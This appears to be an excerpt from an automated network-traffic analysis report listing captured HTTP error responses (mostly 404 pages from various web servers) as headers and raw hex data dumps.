Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:30 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-133.ec2.internalX-Request-Id: 4baf97bf-eb1b-41e7-a670-ebb1cefaf131Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:30 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.devnetmedia.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 6655Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 52 5d 73 dc 36 96 7d 96 7e 05 44 d7 5a 52 d2 20 5b 2d c9 76 24 b5 52 b3 4e a6 6a b6 92 4c 2a 4e 6a 1f 26 53 29 34 79 9b 84 0d 02 18 00 ec 56 8f e3 ff be 17 20 d9 4d 76 93 b2 9c 4d 66 e7 61 5d 89 9a b8 9f e7 9e 73 ee 4e 32 95 ba 8d 06 52 b8 52 dc 1f df f9 1f 22 98 cc e7 11 48 fa d3 9b c8 c7 80 65 f7 c7 47 77 25 38 46 d2 82 19 0b 6e 1e fd f4 e3 9f e9 ab 68 1b 97 ac 84 79 b4 e2 b0 d6 ca b8 88 a4 4a 3a 90 58 b7 e6 99 2b e6 19 ac 78 0a 34 3c 26 84 4b ee 38 13 d4 a6 4c c0 fc 22 4c 11 5c be 23 06 c4 3c d2 46 2d b9 80 88 14 06 96 f3 a8 70 4e df 24 49 5e ea 3c 56 26 4f 1e 96 32 b9 a8 7b 1c 77 02 ee bf 67 39 10 a9 1c 59 aa 4a 66 e4 f9 b3 57 b3 8b 8b 5b f2 15 ac be 03 f7 2d 64 9c dd 25 75 e5 f1 6e cb 69 26 2d d5 b8 00 5c 5a 9c d6 ab 4e 93 64 89 b0 6d 9c 2b 95 0b 60 9a db 38 55 e5 29 49 9e d0 69 e3 b5 87 b7 57 1c 31 e1 c0 48 e6 f0 1c cf 33 06 b4 16 3c 65 8e 2b 99 18 6b 3f 7f 28 05 a6 3c bc 79 d4 81 4c 9e 1b f6 8f 4a dd 92 3f 03 64 7b 54 ac d7 eb 18 09 95 e0 4a 5f ea 31 26 4b 2c 4b a2 df 7b f9 6b 55 96 a8 a2 7d 2a 8a b4 a9 ef c0 39 3a ba b3 a9 e1 da 35 10 1c 3c b8 e4 2d 5b b1 3a ea 75 3c 3a 5a 73 99 a9 75 fc cb 5a 43 a9 de f2 37 e0 1c 97 b9 25 73 f2 3e 5a 30 0b 3f 19 11 dd 84 c5 f6 e6 e7 e4 e7 96 ec 9f 13 5e a2 f8 f6 67 5c 6c e0 e7 24 34 ff 9c 5c 5c c6 d3 78 fa 73 f2 72 f6 f0 72 f6 73 12 4d 22 dc 89 fd b1 96 39 3e ec 2a ff 6d f3 b0 31 4c c3 df af eb 81 f8 e5 df aa 32 29 44 37 ef 23 74 3d b2 1b da 9a f9 61 fc 00 55 18 d4 94 cb 54 54 99 df f7 d6 86 40 e8 a4 a8 1d e0 d1 71 c9 65 fc d6 7e b9 02 33 bf 8e af e3 8b cb e8 c3 87 5b 4f d7 c9 b2 92 a9 17 f1 0c 26 6c e2 ce df af 98 21 72 62 26 6a c2 e7 38 de 00 82 f8 5a 80 d7 e2 2c 4a 99 44 b6 a3 f3 89 9e f3 38 07 f7 1a 3d 8e 84 3c 7f de 7d 9d 45 b3 2c 3a bf 6d 07 13 8b a3 9b c1 6c fe c6 19 94 23 5e 1a 55 be 2e 98 79 ad 32 b8 d5 71 8a 28 cd 0f 90 ba b3 e9 64 3a e1 f1 9a 67 ae c0 df 02 78 5e 38 5c 17 2f b9 10 3f fa e1 2c f6 ce db 9c b9 82 db 09 9c 63 f9 f4 fc 16 10 8e 53 5f 31 c7 7e fa e1 9b b3 f3 5b 03 ae 32 92 fc f6 c1 ae 1e 3c 81 f9 bc 3f fa c3 f6 ac f4 0c ea a3 dc 21 4f 8d 21 cf 6f 5d 6c 4d 3a c7 fb 51 b4 25 92 ef e2 61 eb 4e 98 27 b0 e9 b7 ff b9 f9 91 e5 df b1 12 ce a2 02 18 92 f9 b7 e9 df 3d 3a 90 d9 eb 82 8b ec cc 21 0e 65 ce d4 fc 4f c6 b0 cd 59 b4 14 cc bb a7 76 cb 39 6e b3 95 d6 ca 38 3b 7f 0f a8 f9 06 6f 92 f9 cd c9 74 b2 7b 7d fd 90 82 76 7f c6 46 8c 7f 98 98 f9 f4 d6 dc a9 58 80 cc 5d 71 6b 3e ff fc 7c 37 e5 6f ea 6f e6 ef 7f 9f ef ac 72 fe 9e 2f cf 4e f4 af bf 9e ec 08 3c af 49 3f b9 b8 b5 6b ee d2 e2 4c c7 fe ca ff 44 fb 09 2e fd cd 4a 47 9e 70 74 c9 3c 7a 31 9d 92 cb 99 7e 20 7f 32 9
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.wakux2.com/wp/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 36 31 34 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 d5 bd 7b 93 1c cb 75 1f f8 f7 bd 11 fe 0e c5 81 48 00 e4 74 4f 4f cf 03 f3 c0 80 96 49 4b ab d5 9a e4 ae a8 70 c4 2a 18 88 ea ee ea 99 06 fa c5 7e 60 30 c4 62 43 00 d6 32 a9 4b ed 5b a6 64 c9 4b 3d 68 eb 15 a2 4c 4b 0e 6b 29 5a 8a d8 af 32 c4 25 f9 97 bf 82 4f be aa 32 4f 9e cc 3c 55 dd 00 b9 97 00 38 5d 9d f9 3b 27 4f 9e 3c 79 7e a7 b2 6a 1e 7e 62 30 eb af 6e e6 45 76 b5 9a 8c 1f 7d f8 50 fc 5f 36 ce a7 97 17 3b 4f f2 9d 47 1f c2 95 22 1f c0 17 93 62 95 67 fd ab 7c b1 2c 56 17 3b eb d5 b0 75 02 5f ab cb d3 7c 52 5c ec 3c 1b 15 d7 f3 d9 62 b5 93 f5 67 d3 55 31 85 66 d7 a3 c1 ea ea 62 50 3c 1b f5 8b 96 fc b0 9b 8d a6 a3 d5 28 1f b7 96 fd 7c 5c 5c ec b7 3b bb 99 e9 d9 1a 8e 56 17 fd d9 b3 62 81 a0 17 c5 b0 58 2c e0 72 05 3d 9d b5 cc d5 d6 f5 55 31 6d 0d 66 d7 d3 cb 45 3e 28 50 df e1 6c 31 c9 57 ad 41 b1 2a fa ab d1 6c 6a 61 ac 8a 71 31 bf 9a 4d 8b 8b e9 4c 8c 35 cb c4 1f f8 fb f0 13 ad 56 f6 c5 d5 55 b1 c8 7e 7e 9a 8f 6f 56 a3 fe 32 6b b5 60 bc cb fe 62 34 5f 65 f9 f2 66 da cf 96 8b fe c5 ce d5 6a 35 5f 9e ed ed cd f3 4b b0 54 b7 7d 39 9b 5d 8e 0b f8 7e 30 ea e7 42 60 bb 3f 9b e8 6f f7 9e 2c f7 f2 c1 b2 77 a3 1a b5 9f 2c 3f db 1f 8f 84 a9 fa 79 6b be ee b5 8e 0f 8e 4e ba 9d e3 c3 a3 ee 69 e7 41 e7 f4 70 e7 1f 81 36 f0 5f 7f 31 5b 2e 67 8b d1 e5 68 7a b1 93 4f 67 d3 9b c9 6c bd dc 79 f4 70 4f 29 04 9a 09 95 f7 48 9d c5 37 f3 45 01 b3 32 05 13 64 83 e9 b2 05 1f 87 c5 aa 7f a5 06 35 1e 4d 9f 66 8b 62 7c b1 13 68 b6 93 5d 41 87 8b 9d bd bd eb eb 6b 3d c2 55 7e 39 c9 a7 30 e8 85 18 a0 30 7a 23 98 16 60 28 03 37 80 c9 9f e4 cf b5 3a f9 7c b4 6c 80 d0 1f 4c 9f 40 bf f1 6c 3d 18 8e f3 45 d1 00 22 3a f1 35 ed a2 fc 02 5c a4 7d d9 1e cc d6 bd 71 01 fe d1 7f da 9e 16 ab 9a 48 ab 79 9f 76 c5 9a 38 f9 60 43 45 a4 c7 2c 57 b0 14 fa 0d 8c db 5f 16 7a 18 0d 3a 0f 21 0e 81 25 1b 0b d7 fd e5 82 6e ea 5f 93 65 fb ab eb 1c f4 28 16 cf 9a 78 d7 b2 e8 af c1 2d 21 b2 3d cb 57 79 93 b5 06 2e de b6 c3 d1 ea 7a 34 b9 6c 60 4d 81 f3 64 39 28 c6 a3 67 8b 06 0e 39 9a 40 ac 58 b6 86 45 7b b9 1c b7 f4 a7 7c 92 7f 4d 45 c8 9a 6e 09 21 67 3e 2e 64 78 6d 8c 31 69 4f 8a c1 28 6f 35 06 18 b5 27 b3 e5 d5 68 32 6b 60 cd 7c 32 6e 3f cb c7 6b 08 cb 93 49 b1 e8 37 f1 8d 41 3e ee 6f 03 a4 47 82 a8 2d e5 4b b0 2f cc f2 01 b1 51 88 cb 3b b0 13 5e ec 88 75 b2 93 89 34 42 fd bc 77 3d 1b 0e cd 9e 21 f6 47 d8 1e 45 18 b8 ce 9f ae 9f 77 85 b1 f6 ae e7 f0 a7 a5 13 85 3d d8 69 27 c5 72 af 3f eb cf 66 d3 d6 24 5f ae 8a c5 de 75 d1 93 0b 70 6f 04 1d e0 fa 9e f3 a9 ad 64 58 1b 23 de 81 12 fa 75 b7 a7 a0 50 2c bf 2e 96 b3 49 a1 95 b4 ae b4 f4 38 a4 c2 dd cf 3e bb 38 6c 3f 68
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:30 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:31 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-86.ec2.internalX-Request-Id: e200b756-f068-4c14-b800-e2e68b1c8b30Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 20 Dec 2023 02:13:31 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 30 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 bd 56 6b 6f db 54 18 fe dc fc 8a 33 4f 48 1b 9a e3 66 e9 40 ed dc 7c a0 1b 02 69 b0 6a 74 1a 08 a1 ca b1 4f 13 af 8e 6d 6c a7 69 41 fc 18 a7 e7 94 51 5a 3a d6 94 5e d6 d2 b2 75 bd 2c 4d 5a b6 71 d1 d8 45 9a 40 6c 4d 11 5a 35 0d 90 98 c4 7b ec 38 89 bb c0 86 84 48 94 8b cf 79 2f cf 7b 7b ce 89 88 fb 8e 9d ec ea 79 a7 fb 38 4a 3b 19 0d 75 9f 7e e5 c4 eb 5d 88 e3 05 e1 4c bc 4b 10 8e f5 1c 43 6f bf d6 f3 c6 09 14 8b b6 a2 b7 1c 4b 95 1d 41 38 fe 26 87 b8 b4 e3 98 1d 82 90 cb e5 a2 b9 78 d4 b0 52 42 cf 29 61 90 59 89 31 b5 ea 5f de f6 74 a2 8a a3 70 89 88 e8 39 19 cc 68 ba dd d9 c4 40 ac bd bd dd d7 f3 64 b1 a4 80 4a 06 3b 12 80 73 4c 1e bf 9f 55 07 3a b9 2e 43 77 b0 ee f0 3d 43 26 e6 90 ec 3f 75 72 0e 1e 74 04 66 ff 28 92 d3 92 65 63 a7 13 67 65 fe ac c9 21 a1 99 99 6e 4b 4a 65 a4 06 03 ba c1 cb 92 9c c6 cc f7 53 4e bd 1d 9e 39 b3 0c ed 79 95 f0 a0 a9 5a d8 6e 10 6f 65 c6 1d d5 d1 70 e2 8c 61 29 dd b0 6b 17 d6 4b 4f 2e dc df d8 20 df 93 32 cd d3 09 7a 91 ce 92 b1 a9 87 6b b7 c9 14 d9 21 77 c8 34 59 14 05 5f 29 12 11 6d 67 48 c3 c8 81 e0 ab 31 cb b6 0d 56 23 2f a2 0f 23 2d 19 c9 4a a9 3a ea 40 ad e8 68 a4 c5 94 14 45 d5 53 c1 63 1f a0 e7 6d f5 03 0c 0b b1 d6 d6 17 40 e4 a3 48 24 69 28 43 4c d5 db ed 93 32 aa 36 d4 c1 0d 97 86 af a3 e1 2d 5a a0 d3 f4 32 9d e0 0e a1 93 b6 d4 2f 1d 42 1c bd 46 1f d0 cf 68 79 f2 6b 5a 40 dd 96 81 ce c4 39 e6 ab d1 f8 cb 47 98 ed 16 56 11 5e d2 d4 14 03 24 43 c9 b0 c5 96 35 55 c7 7c 1a ab a9 b4 c3 80 44 db d8 a2 6c 68 86 05 8f fb e3 f1 38 3c 03 2e 09 a9 99 14 03 96 84 44 81 66 07 d2 0d 1d fb 7b fb ab 55 b7 7b 73 96 64 9a b0 0b 72 39 55 71 d2 20 f6 52 6b ab 39 c8 6c d6 92 71 98 2d 48 59 c7 40 71 7f 0b cc a7 63 f5 7c f1 49 c3 71 8c 0c 43 d3 e6 a9 b2 fd 78 2d 29 41 ca da fc b0 ea 59 3d 02 c2 b1 aa b3 a4 24 f7 a7 2c 23 ab 2b 2c 8a b6 b6 70 54 7d 7d 7d 3e f2 a8 aa eb 3e dc 50 76 34 dc e7 30 c8 75 db 31 66 fc b0 0f a7 9e 82 18 2c da 86 a6 2a 68 7f 32 ce de 21 ab 66 d3 90 70 26 24 94 d5 0e a1 2a 0a 43 6b 50 f0 20 74 20 2f 57 5e 01 aa 42 59 0d 69 2a 93 d3 54 1b da 87 75 1f cf ba 0f c2 54 54 5b 0e a3 8e 03 3e d6 7a 90 c0 aa ba e2 30 dd 7a 5c 2c ac 76 f8 40 b0 e1 94 29 98 bd d9 ba d7 4a b9 a0 41 92 86 a6 84 2d 2a 61 8b d5 0a 80 cb c0 67 14 5a ac bf 97 e1 6d 88 af 5e e3 20 21 a2 e0 45 03 b3 23 0a 69 8f 6c 22 22 9b 86 44 04 c1 ab c5 fb 16 15 75 00 a9 4a 27 b7 b7 e3 60 e4 98 94 f7 c5 fe 88 e9 58 42 64 1d 6b 5b 72 27 27 d8 d8 1a c0 56 af 8d e5 ac a5 3a 43 bd 78 50 c6 a6 a3 1a ba a0 19 29 23 6a ea 29 46 4b e0 37 f6 94 9d f8 bf a5 86 74 dc b7 e1 c1 60 78 65 4d b2 81 60 bd 56 ab e2 64 7b 35 ac 2d a2 99 98 59 98 bb eb e6 69 09 c6 7b 8d 8e d2 11 5a 01 f6 b9 48 c7 e9 4f 74 9b ae d0 e1 4b 5b 73 8f 49 71 6d 9e 10 37 2f 26 2d c6 a1 cc 46 f0 3a bf b3 fe 88 94 49 a1 f4 7b e9 eb c2 f2 17 e3 e4 53
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:31 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jN%2FJ0DWs68CMRHQVDixMzcCO8A%2By4IloYPBU7y6AIykDqyyNVcHzoc9Owgoncvb7X2HB6qAVu5HtcgK2R45cYYfi7uI2EmkBwu7FjvyRYNeqkrrBSGFGWD6RrqvA0UR4IbcV%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845dd67aa05c76-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 65 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 4e c3 30 10 44 ef fe 8a a5 27 38 e0 4d 4b 90 38 ac 2c 41 93 8a 4a a1 44 c5 3d 70 74 e3 45 8e 94 c6 c1 76 0a fc 3d 4a 2a 24 ae 33 6f 46 33 74 55 bc ae f5 7b 5d c2 b3 7e a9 a0 3e 3c 55 db 35 2c 6e 11 b7 a5 de 20 16 ba b8 38 2b 99 21 96 bb 85 12 e4 d2 a9 53 e4 d8 58 25 28 b5 a9 63 95 67 39 ec 7c 82 8d 1f 7b 4b 78 11 05 e1 0c d1 d1 db 9f 29 b7 54 ff 18 b7 54 82 06 a5 1d 43 e0 cf 91 63 62 0b 87 7d 05 5f 26 42 ef 13 7c 4c 1c f8 1e 92 6b 23 44 0e 67 0e 92 70 98 9a 82 12 64 ac 0d 1c a3 7a 1c 4c e3 18 57 32 97 f7 77 70 5d f0 b1 35 fd 0d bc cd 01 30 09 b8 4f fc dd 74 63 6c cf 1c 65 e3 4f 50 fb 90 e0 21 23 fc eb 10 84 f3 48 c2 f9 dc 2f 00 00 00 ff ff 0d 0a Data Ascii: e5LN0D'8MK8,AJD=ptEv=J*$3oF3tU{]~><U5,n 8+!SX%(cg9\|{Kx)TTCcb}_&B\|Lk#DgpdzLW2wp]50OtcleOP!#H/
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:31 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 38 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 3e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:31 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-215.ec2.internalX-Request-Id: bf43e684-f9c3-4420-b8ea-77a132fde932Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:31 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: 3kEdl2s9/uUMHtRgfData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 